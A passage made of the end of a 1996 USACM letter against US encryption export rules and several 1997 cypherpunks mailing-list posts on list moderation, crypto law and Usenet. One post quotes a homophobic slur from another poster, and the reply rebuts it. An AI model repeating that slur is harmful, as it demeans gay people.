        It is unreasonable and unconstitutional to distinguish between
printed and electronic distribution of encryption source code as set forth
in the note to Part 7.34.3 (b)(2) and (b)(3).  A Federal Court in
California has ruled in Bernstein v. U.S. Department of State that source
code is speech and is thus protected under the first amendment.  This
distinction is also currently being challenged in a federal court in the
District of Columbia in Karn v. U.S. Department of State.  The USACM
joined the Electronic Privacy Information Center, the American Civil
Liberties Union, and the Internet Society in submitting an Amici Curiae
brief in the case which argued that such language is an impermissible
regulation aimed at the suppression of expression. As computer scientists
we see no practical reason why the Commerce Department should insist on
creating a distinction when one does not exist.

        The ACM is the publisher of numerous scientific publications and
conference proceedings.  They range from our flagship journal
Communications of the ACM (CACM) to the on-line, peer-reviewed journal
Experimental Algorithms.  All 76,000 members of ACM, including 15,000
members overseas, receive CACM by mail and have access to ACM's on-line
publications. ACM foresees a time when all its publishing will be
electronic and on-line.  At that time, it will need interoperable
encryption technology available in the U.S. and in its mirror sites abroad
to dispense its material.  Its subscribers worldwide will need access to
secure, commercial encryption as well.

        An article which described the development of a new cryptographic
algorithm would likely appear in one of the many technical journals or
conference proceedings published by ACM or the Institute for Electronics
and Electrical Engineers (IEEE), another international professional
society.  In fact a number of the groundbreaking articles in the field of
cryptography science were originally published by ACM and IEEE.
Publication of encryption algorithms is extremely important to the field
of cryptography.  In order for an algorithm to be trusted, it must be
challenged.  To do that, the code must be made widely available.  Foreign
members of ACM will be unable to access in electronic format the same
articles they currently receive in the printed journal.  And, it is
technically impossible, at this late date, to partition ACM's publications
into distinct paper and electronic (hence encryptable) media.

        Electronic communications, including the World Wide Web, list
serves, Usenet news groups, and video conferencing are becoming the
prominent means by which scientists communicate.  Science is a global
pursuit and there exists a open communications network between scientists
in different countries.  Part 734.2 which prohibits making cryptographic
software available outside the U.S. will not only eliminate this
international communication but also technical communication among U.S.
scientists.  In electronic communications it is not always clear to whom
the information is being transmitted.  WWW sites and Usenet news groups
are accessible by anyone with a modem.  Video conferences can be
retransmitted overseas and moderated listserves are difficult to control.
The Interim Rule refers to an individual taking "precautions adequate to
prevent unauthorized transfer of such code outside the U.S."  It is our
belief that it would be impossible to be certain of any precautions taken.
This will effectively eliminate all communications on electronic media
that describe or discuss cryptographic source code.

        We believe the interim rule must be revised to eliminate the
distinction between printed and electronic source code and to allow for
open communications within scientific communities.  Restricting these
communications will retard the evolution of the science and the
development of new algorithms and cryptographic devices.

Education

        Many ACM members are computer science professors and teachers, so
we are concerned about the contradictions in the proposed regulations with
regards to education.  A number of fields and sub-fields address
cryptography as part of their curricula.  Part 734.9 states that
"Educational Information" is not subject to the new regulations if it is
"released by instruction in catalog courses and associated teaching
laboratories of academic institutions." Computer science, mathematics,
engineering, and electronic security may all include technical instruction
in encryption technologies and would be covered in U.S. university
classrooms.  However, questions arise with regard to distance and home or
overseas education because of Part 744.9.  It states that "No U.S. person
may, without a license from BXA, provide technical assistance (including
training) to foreign persons with the intent to aid a foreign person in
the development or manufacture outside the United States..."  While Part
744.9 defines a U.S. person it does not define "technical assistance" or
"training."  It is uncertain whether a U.S. professor teaching a course in
which foreign students are registered, or teaching a course in
cryptography overseas would be "training" a foreigner to develop a
cryptographic device if the course work was more detailed than "a
discussion of information about cryptography."  This would affect course
studies as disparate as 'number theory' and 'local area networks'.

        Also, educational environments are not limited to academic
institutions but are also found in national and industry labs.  Many
computer scientists receive their first hands on training after they
graduate from their University.  It is unclear whether this "training" or
"technical assistance" is in violation of the Interim Rule.  The intent of
the training is give the new employee the practical tools necessary to
participate in the field of cryptography science, and is not necessarily
intended to be project or employer specific.  While the General
prohibition in Part 744.9 discusses the meaning of intent as applied to an
academic setting, it is not clear if "academic setting" can be applied to
instruction which occurs outside of the University environment.

        The argument made previously with regard to digital media also
applies to education. As part of their course work, students often use
electronic media as resources (WWW, digital libraries, CD-ROMs), as a
communication device for the class outside the classroom (electronic mail,
listserves), and to learn from listening to the discussions among research
scientists (Usenet groups, listserves).  Part 7.34.3 (b)(3) which covers
encryption source code in electronic form or media will restrict these
types of educational instruction.  Instructors will be unable to take
advantage of digital media in their courses.  Students studying
cryptography will be unfairly disadvantaged as they will be unable to
access valuable resources even in the process of furthering their
education.

        The USACM believes the contradictions in Parts 7.34 and 744.9 must
be resolved in a clear manner so educators are not required to reduce the
quality of their courses for fear of misinterpreting the Interim Rule.
Specifically, "academic setting," "training," and "technical assistance"
must be defined, and distance education, and academic research and
communication must be addressed.

Research and Development

        Encryption policies must reflect the needs of the global market.
The international demand for products which incorporate strong
cryptographic tools is growing. Such products are widely available and
produced by a number of nations.  U.S. scientists have been prominent in
the development of current encryption technologies.  The field has
developed though research and development efforts along many different
tangents, only one of which describes key recovery products.  There is
little evidence that the demand for cryptography tools is limited to those
products which incorporate key recovery protocols. Part 742.15 (which
states that businesses must submit a business plan for the development of
key recovery products before they may export 56- bit software;  the
license must be renewed biannually until 1998 when only key recovery
products will be allowed for export)  will restrict the U.S. to producing
only products which incorporate KRI protocols.

        Mandating that businesses develop key recovery products will also
impede the natural market development of novel and innovative systems.
Part 740 hypothesizes that a worldwide KRI will be desirable, feasible,
and in place by 1998.  However it is unclear whether key recovery is the
best alternative.  Research along new tangents will continue in non-
industry and non-U.S. settings.  A new protocol may be discovered which is
considered a better choice for a worldwide infrastructure.  There will
exist a great market demand for variety in choosing a security system to
fit the needs of the distinct commercial group.  If this happens U.S.
scientists and industry will be at a disadvantage as they will have only a
core competence in key recovery protocols as per Part 740.8.

        There are a variety of commercial groups interested in utilizing
the Internet for business interactions and transactions. Without
interoperable encryption programs, commercial needs in an increasing
global environment cannot be met.  Supplement No. 4 to Part 742 states
that a product can not interact with another product whose key recovery
system has been "altered, bypassed, disabled, or otherwise rendered
inoperative."  This will be a major source of problems for researchers and
educators, as well as government and commercial institutions.  The result
of a system not being able to talk to another system because of an
intentional or accidental disabling of the KRI protocols can have a very
large impact on telemedicine, research, government operations, and
commercial enterprises.

        The USACM believes the Interim Rule should be rewritten to avoid
dissuading innovation and development and eliminating the U.S.'s core
competency in cryptography.  It should also recognize the need for
consistency in interoperable systems.

Key Recovery

        The USACM recognizes that there is a real market demand for key
recovery products from business and government employers.  However, the
viability of a KRI has not yet been determined.  It has not yet been
subject to the vigorous testing necessary for a proposed standard.  There
is little understanding of how such a system would operate and what
controls would be needed to ensure that it remained secure.  Part 740
describes the development of a Key Recovery Infrastructure within two
years.  We believe it is unwise for the United States to insist on the
development of a untested, unproved technology for a worldwide
infrastructure. The National Research Council report stated that a
feasibility study needed to be performed on a smaller scale before key
escrow could be seriously proposed for commercial applications.  We
believe this warning applies to KRI as well.  While key recovery tools may
be appropriate in some settings, we believe it would be wrong to impose
such restrictions on users or businesses and the Interim Rule should not
dictate that businesses limit their research to a potentially unworkable
system.

Privacy

       The USACM believes that certain principles should be reflected in a
national cryptography policy.  Encryption should be used for privacy
protection and to encourage the development of technologies and
institutional practices which will provide real privacy for the future
users of the NII and real security for the protection of the system. The
USACM believes that transferring the regulation of cryptography to the
Commerce Department could establish United States leadership in protecting
the privacy rights of its citizens.  However the Interim Rule fails to do
that.

Conclusion

       We recognize that the government has a legitimate interest in
protecting national security. However, whether or not the worldwide
infrastructure is achieved, the role of national security agencies will
remain difficult.  The government's proposal to balance national security,
business, and privacy interests by creating a Key Recovery Infrastructure
within the next two years is overly aggressive.  We suggest that the
development of a policy that serves the long term interests of our
nation's security will not be one based on a Key Recovery Infrastructure,
but rather one that anticipates the widespread availability of strong
encryption and the multifaceted demands of a global economy.  Toward that
end, the interests in protecting open research within the U.S. academic
community will be crucial.

Sincerely,




Barbara Simons, Ph.D
Chair, United States Public Policy Office for the
Association for Computing

        The ACM, founded in 1947, is an international non-profit
educational and scientific society dedicated to the development and use of
information technology, and to addressing the impact information
technology has on the world's major social challenges. The Association's
activities include the publication of scholarly journals and the
sponsorship of special interest groups (SIGS) in numerous disciplines. ACM
has 76,000 members.  The 60,000 who reside in the United States are
academic, professional, scientific, and ordinary users of
telecommunications technology and have a strong interest in the
development of sound encryption policies. The USACM provides a means for
promoting dialogue on technology policy issues with United States policy
makers and the general public. We respond to requests for information and
technical expertise from United States government agencies and
departments, seeks to influence relevant United States government policies
on behalf of the computing community and the public, and provides
information to the ACM on relevant United States government activities.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 14 Feb 1997 09:04:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141459.GAA07338@toad.com>
Message-ID: <199702141704.JAA03249@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

[Fluffy Gilmore apologia by Declan expunged]

Two small points.

1.  The rift between Gilmore/EFF and Cypherpunks is hardly
    of recent origin, and dates back to when the EFF first
    demonstrated to horrified Cypherpunks that its policy
    would be one of appeasement and capitulation towards
    clearly unacceptable legislation.  This is all in the
    archives, including Tim May's essay on why he chose not
    to renew his EFF membership.

2.  The article fails to mention Gilmore's new nickname. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Fri, 14 Feb 1997 06:21:30 -0800 (PST)
To: anand abhyankar <anand@querisoft.com>
Subject: Re: crypto restrictions
In-Reply-To: <199702140711.XAA25330@toad.com>
Message-ID: <sjm3euzxyct.fsf@incommunicado.ihtfp.org>
MIME-Version: 1.0
Content-Type: text/plain


anand abhyankar <anand@querisoft.com> writes:

> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.

Not currently.

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord@MIT.EDU                        PGP key available




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 14 Feb 1997 05:07:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702140723.XAA25771@toad.com>
Message-ID: <199702140921.JAA00328@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:
>        But the veteran cypherpunk came under heavy fire in November 1996,
>    when a loudmouthed flamer flooded the list with flame bait and ad
>    hominem attacks on various members. Finally, Gilmore, ironically, gave
>    him the boot [...]
>
>        Indeed, for months Gilmore seemed unable to do anything right. He
>    tried moderation, which proved to be even more contentious, [...]
>    
>        After the expulsion, some of the longtime list denizens left
>    angrily, joining the 700 subscribers who had departed since the
>    controversy began. One of those was Tim C. May, a crusty former Intel
>    engineer who prides himself as the organizer of the first cypherpunk
>    meeting in September 1992. 

Tim left when the moderation experiment started, not after John
unsubscribed Dimitri, and blocked him from re-subscribing.

What does `crusty' mean as applied to a former Intel engineer?

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 09:18:00 -0800 (PST)
To: Adam Back <cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702140723.XAA25771@toad.com>
Message-ID: <v03007800af2a4ee05395@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:21 AM +0000 2/14/97, Adam Back wrote:
>Declan McCullagh <declan@well.com> writes:

>>        After the expulsion, some of the longtime list denizens left
>>    angrily, joining the 700 subscribers who had departed since the
>>    controversy began. One of those was Tim C. May, a crusty former Intel
>>    engineer who prides himself as the organizer of the first cypherpunk
>>    meeting in September 1992.
>
>Tim left when the moderation experiment started, not after John
>unsubscribed Dimitri, and blocked him from re-subscribing.

Yes, I left after the "moderation" thing was announced as a fait accompli
("it _will_ happen"). Neither Eric Hughes, Hugh Daniel, nor I, as folks who
have had some involvement in the group since the start, were apprised of
this brainstorm. (I did not expect veto power, or a vote, but it would have
been nice to hear, and maybe we could have pointed out the almost
inevitable effects of censorship of the main list and thereby headed off
this public relations screwup.)

By the way, Declan took his comments from me or about me from what I've
written. I haven't met him and our e-mail contact has been minimal.
Importantly, I've always said that Eric Hughes and I were the co-organizers
of the first meeting (and I usually note that it was held at Eric's place
in Oakland). I didn't claim to Declan or anyone else that I was "the"
organizer. But this is a minor error.

>What does `crusty' mean as applied to a former Intel engineer?

And this is a more serious error! :-}

I think "crusty" is just one of those words journalists like to use.
Especially when describing anyone older than themselves.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@magna.com.au>
Date: Thu, 13 Feb 1997 14:26:19 -0800 (PST)
To: perry@piermont.com
Subject: Re: Transmission of Crypto material and ITAR
Message-ID: <2.2.32.19970214173002.00de52a4@magna.com.au>
MIME-Version: 1.0
Content-Type: text/plain


>The answer is that no one knows, but if the doctrines that apply to
>cargo in transit between countries applied, there would be no
>consequence to it. Of course, that doesn't mean that there will not be
>consequences associated with this given U.S. governmental insanity.

Or it could be dealt with differently, as with a ship that docks for
refueling carrinyg munitions (a catergory shared with crypto), or nuclear
waste (not quite, but you get my point...)

Ben

----------------------------------------------------------------
  Benjamin Grosman - Programmer, Magna Data Internet Solutions
  Quidquid latine dictum sit, altum viditur.
                  [Whatever is said in Latin sounds profound.]
----------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Feb 1997 14:18:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970214093244.9500A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike sheds more heat than light on the issue. Gilmore does not always
represent the EFF; not every action of his is an EFF action.

As for the "rift," may observers said at the time that DT was a Jerry
Berman "appeasement and capitulation" scheme. Note Berman no longer works
at EFF. Note EFF is no lnoger in DC.

And yes, I've read Tim May's essay on his EFF membership. I probably would
have had the same reaction.

-Declan


On Fri, 14 Feb 1997, Mike Duvos wrote:

> John Gilmore <gnu@toad.com> writes:
> 
> [Fluffy Gilmore apologia by Declan expunged]
> 
> Two small points.
> 
> 1.  The rift between Gilmore/EFF and Cypherpunks is hardly
>     of recent origin, and dates back to when the EFF first
>     demonstrated to horrified Cypherpunks that its policy
>     would be one of appeasement and capitulation towards
>     clearly unacceptable legislation.  This is all in the
>     archives, including Tim May's essay on why he chose not
>     to renew his EFF membership.
> 
> 2.  The article fails to mention Gilmore's new nickname. :)
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      mpd@netcom.com     $    via Finger.                      $
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 09:29:58 -0800 (PST)
To: "John C. Randolph" <cypherpunks@toad.com
Subject: Re: More on digital postage
In-Reply-To: <199702141131.DAA17173@idiom.com>
Message-ID: <v03007801af2a5196f699@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:31 AM -0800 2/14/97, John C. Randolph wrote:
>Tim may says:
>
>>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>>violations of the First Amendment. I understand why the herd _wants_ these
>>laws, as it reduces the costs involved in replacing fax paper, running to
>>the telephone only to find someone trying to sell something, etc., but it
>>is quite clearly a prior restraint on speech, however well-intentioned.
>
>I have to disagree here.  The junk fax law is a restraint on unauthorised
>use of property, i.e. *my* fax machine, *my* phone, etc.
>
>That tort of unauthorised use of property applies, whether someone's sending
>me a fax to sell me spamming software, or whether it's some kid ringing
>my doorbell and running away.  It's not the speech that I'm fighting, it's
>the misuse of my property.
>
>Freedom of speech does not confer a right to use other people's property.

Fair enough, John. I can agree that _tort law_ (civil) might be used. If
Party A can convince a jury that Party B did it real damage and can
quantify that damage, maybe Party A can collect.

My main objection is to to blanket laws, known as "junk mail" laws. The
rules for what constitutes "junk" are unclear and give the government
regulatory power which I think it should not have.

Imagine a bureaucrat deciding that solicitations to join the National Rifle
Association are "junk" and ordering the U.S. Postal Service to scrap all
such solicitations. Imagine further that alternate delivery systems, such
as UPS and FedEx are also notified that delivery of NRA material constitute
a crime.

(This is not so far-fetched, especially the "alternate delivery" point. If
the regulators declare a communication to be junk, it remains junk even if
delivered via a different route. If CyberPromotions tries fiddling with the
domain names, as they have, it remains junk to CompuServe and to the
District Court which upholds their decision to censor mail to customers.)

To paraphrase what the CompuServe customer said: "I'll decide what's junk
and what's not."

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 08:41:57 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <199702140456.UAA21157@toad.com>
Message-ID: <199702141745.JAA19682@songbird.com>
MIME-Version: 1.0
Content-Type: text


ichudov@algebra.com allegedly said:
> 
> Firebeard wrote:
> > 
> > >>>>> Igor Chudov @ home writes:
> > 
> > IC> This is where the distributed nature of the list comes in.  if
> > IC> someone disagrees with Jim's AUP, he or she can use soem other
> > IC> mailing list host.
> > 
> > 	And once I'm up and running, my cypherpunks list server will
> > not be interconnected with any server which has a similar AUP.  The
> > implication of the AUP is that if you _don't_ comply with it, you will
> > be blocked.  Without such an implication, the AUP is meaningless, and
> > I'm dedicated that there should be no filtering/blocking of any kind,
> > of the list.  Persons behaving 'unacceptably' should be handled by
> > social pressures by others in the 'community' of the list, and not by
> > policies of the list operators.
> 
> Which is, again, a perfectly fine idea.
> 
> I would probably disconnect from any server that 
> 
> a) does not let certain messages go through (unless they are fighting a DOS
> attack) and
> b) Alters content of any messages.
> 

I can understand this sentiment, given the events of the past couple 
of months, but it seems short-sighted.  If this scheme grows there 
could be several hundred or more mailers involved, and there is no 
technical reason why moderated lists couldn't be included.

Remember that each list operator actually represents a community of 
users, users who are *free* to go elsewhere if they choose.  Clearly, 
some people would chose to populate a filtered list.  There is no 
reason whatsoever to discriminate against them.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 14 Feb 1997 06:44:37 -0800 (PST)
To: anand abhyankar <cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702141444.GAA06809@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Fri, 14 Feb 1997 11:51:18 -0800
> From:          anand abhyankar <anand@querisoft.com>
> To:            cypherpunks@toad.com
> Subject:       Re: crypto restrictions

> Jeremiah A Blatz wrote:
> 
> thanx for ur answer but then i have another question.
> 
> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.
> 
> anand....

No.


Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 08:11:37 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <855916839.1020920.0@fatmans.demon.co.uk>
Message-ID: <199702141604.KAA32699@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


paul@fatmans.demon.co.uk wrote:
> > > It is too late to stop alt.cypherpunks, but if I had to make a
> > > prediction again, I would predict that soon posters will BEG to help
> > > them create comp.*.cypherpunks, because of spam and alt.flamage.
> > 
> > Timmy has a valid point: the reason why a comp.* newsgroup might have less
> > cross-posted and "off-topic" crap is because net.cops would be more
> > likely to complain to posters' sysadmins. Having a charter state that
> > cypherpunks have technical means to ignore traffic they don't like,
> > and don't need anyone forging cancels or complaining to sysadmins
> > or otherwise getting silenced, is a good idea.
> 
> I don`t believe for one moment that, however well intentioned such a 
> move would be, it would work. The most notorious net.cops who 
> thoroughly deserve the (spit) after their name would take little 
> notice of such a charter and take it upon themselved to "act in the 
> best interests of the usenet community"

That is not necessarily true.

I asked Chris Lewis to not cancel any articles in
soc.culture.russian.moderated (of which I am one of moderators) and it
did not cause any problem. I was very pleased by his reaction.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 14 Feb 1997 10:26:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702141611.IAA09328@toad.com>
Message-ID: <199702141826.KAA29727@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin writes:

> Just for the record.  I will not post to USENET given the spamming that
> seems to go to IDs that appear there.  

Helpful hint:  Mung your email address in a way which will confuse
bots, but not humans.  

"From: froomkin@[NO-SPAM]law.miami.edu" should work nicely.  This will
also eliminate mail from very clueless people.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 14 Feb 1997 10:33:09 -0800 (PST)
To: John Gilmore <declan@well.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141459.GAA07338@toad.com>
Message-ID: <v03010d01af2a5a0699db@[17.219.103.204]>
MIME-Version: 1.0
Content-Type: text/plain


My first reaction to the "Death of Cypherpunks" (Declan McCullagh's
article in http://netlynews.com Feb 12, 1997) is that it is another
example of "The Tragedy of the Commons." -- the (unsolvable) problem
of unlimited access to a limited resource. Cypherpunks was also
susceptable to the strange Internet phenomenon where people could be
proud of their anti-social, bad behavior (flame wars, "grafitti" in the
form of spam). For this reason, I suspect that the future of the Internet
in general, and Cyphperpunks in particular, will require serious editorial
control (as is done by the Risks and Privacy digests).

The only other alternative I can see would be to limit membership
-- but not limit what members might write. In the long term, I suppose
we'll have sufficiently intelligent software agents that can recognize
spam and flaming and invisibly delete them from our e-mail in-boxes.

What bothers me more than anything else about the "solutions" I've
seen proposed to the death of Cypherpunks is that they rely on
technology -- and reject human judgement -- to solve what is, in
reality, a social problem.  (One can certainly make the same argument
about the V-chip, browser porn filters, and similar hacks.)

Having been "on" the net for over 15 years -- and with experience
in both ends of the censorship/moderation problem  (I'm probably
the only Cypherpunks member to have had a book "banned in Boston"),
I'm sorry that a handful of sociopaths managed to destroy this
experiment in anarchy, but I suspect that this was inevitable.

Martin Minow
minow@apple.com

ps: (From McCullagh):
>       But for the true believers in crypto-anarchy, only one solution is
>   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
>   precedent... for halting distribution of Usenet newsgroups," Tim May
>   wrote. That, in the end, is what defines a cypherpunk.
>
Nope: alt.cypherpunks will not be distributed to many sites that would
accept an e-mail list. Also, it's too easy for the disgruntled to forge
cancel group messages. I'm afraid that human judgement is still required.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Fri, 14 Feb 1997 09:44:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dale disses gays.
In-Reply-To: <Pine.LNX.3.95.970214050510.31811A-100000@dhp.com>
Message-ID: <199702141744.KAA28013@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Now just who is thisa guy? -- who keeps posting under
> "nobody" at the cajones remailer?  Anybody have him/her
> tagged yet for the real person?

Probably multiple people.  It's just an anonymous remailer.

> ...
> I don't know.  It has always been easy for me to spot a faggot.  I
> mean, I can even tell by their voice if they are queer.

Well, those of us who happen to know Gilmore is straight are not very
impressed with your accuracy.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@FRB.GOV>
Date: Fri, 14 Feb 1997 08:26:28 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Need a good bi-directional mail-news gateway
In-Reply-To: <v030078efaf27fd6d6b48@[139.167.130.246]>
Message-ID: <199702141558.KAA28153@kryten.frb.gov>
MIME-Version: 1.0
Content-Type: text/plain



	much as the irony of the idea appeals, i am not in a position
to offer a host/machine to run the list.  i *can* offer what i have
learned from running the FreeBSD mailing lists for 2+ years.

	so who has a host/machine, that we can use ;)
jmb

>At 3:18 pm -0500 2/12/97, Jonathan M. Bresler <jmb@frb.gov> wrote:
>                                                   ^^^^^^^
>>	your expected mail volume is 100,000+ messages a day?
>>
>>	i run lists that do 200,000+ routinely.
>>	recent peak of 350,000 messages
>>
>>	does that meet your needs?
>
>Great.
>
>Let's run cypherpunks with a government subsidy.
>
>;-).
>
>Pulling your leg, just a bit..
>
>Cheers,
>Bob Hettinga
>
>"So much for a geodesic monitary system..."
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>"Never attribute to conspiracy what can be
>explained by stupidity." -- Jerry Pournelle
>The e$ Home Page: http://www.shipwright.com/rah/
>FC97: Anguilla, anyone? http://www.ai/fc97/
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 14 Feb 1997 08:02:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
In-Reply-To: <199702141456.GAA07230@toad.com>
Message-ID: <Pine.GSO.3.95.970214105803.12370B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 14 Feb 1997, Jim Choate wrote:

> I am taking intellectual property rights from nobody. If anything I am
> giving unlimited intellectual rights to the material to humankind for
> posterity. Sorta cypherpunkish, don't you think?

I am amused by this. Jim's plan sounds much less cypherpunkish than
collectivist. Communal property, ho!

After all, workers have nothing to lose in this revolution but their
chains. They have a world to gain. Workers of the world, unite! 

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Fri, 14 Feb 1997 08:02:05 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702140618.WAA23553@toad.com>
Message-ID: <Pine.SUN.3.95.970214110421.15865M-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


Just for the record.  I will not post to USENET given the spamming that
seems to go to IDs that appear there.  

If any of you reading this are interested in law&crypto topics, please
bookmark my homepage, and vist every so often.

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 10:59:37 -0800 (PST)
To: Martin Minow <cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141459.GAA07338@toad.com>
Message-ID: <v03007802af2a661fc9b1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM -0800 2/14/97, Martin Minow wrote:

>What bothers me more than anything else about the "solutions" I've
>seen proposed to the death of Cypherpunks is that they rely on
>technology -- and reject human judgement -- to solve what is, in
>reality, a social problem.  (One can certainly make the same argument
>about the V-chip, browser porn filters, and similar hacks.)

Au contraire, Martin! Many of my posts have _explicitly_ pointed to the
human filtering services offered by Eric Blossom, Ray Arachelian, and
perhaps others. Arranging to have others edit or filter the information
flow is a fine and dandy thing, and it's a very "anarchist" thing to do.

The "anarchy" of the restaurant business, the book business, and so many
other markets and sectors, where end-users are forced to look for filtering
mechanisms (such as restaurant reviews, advice of their friends,
advertisements, etc.) works pretty well.

And, I believe, the Cypherpunks list was doing pretty well before the
Moderation thing happened. The noise from the 'bots was no worse than the
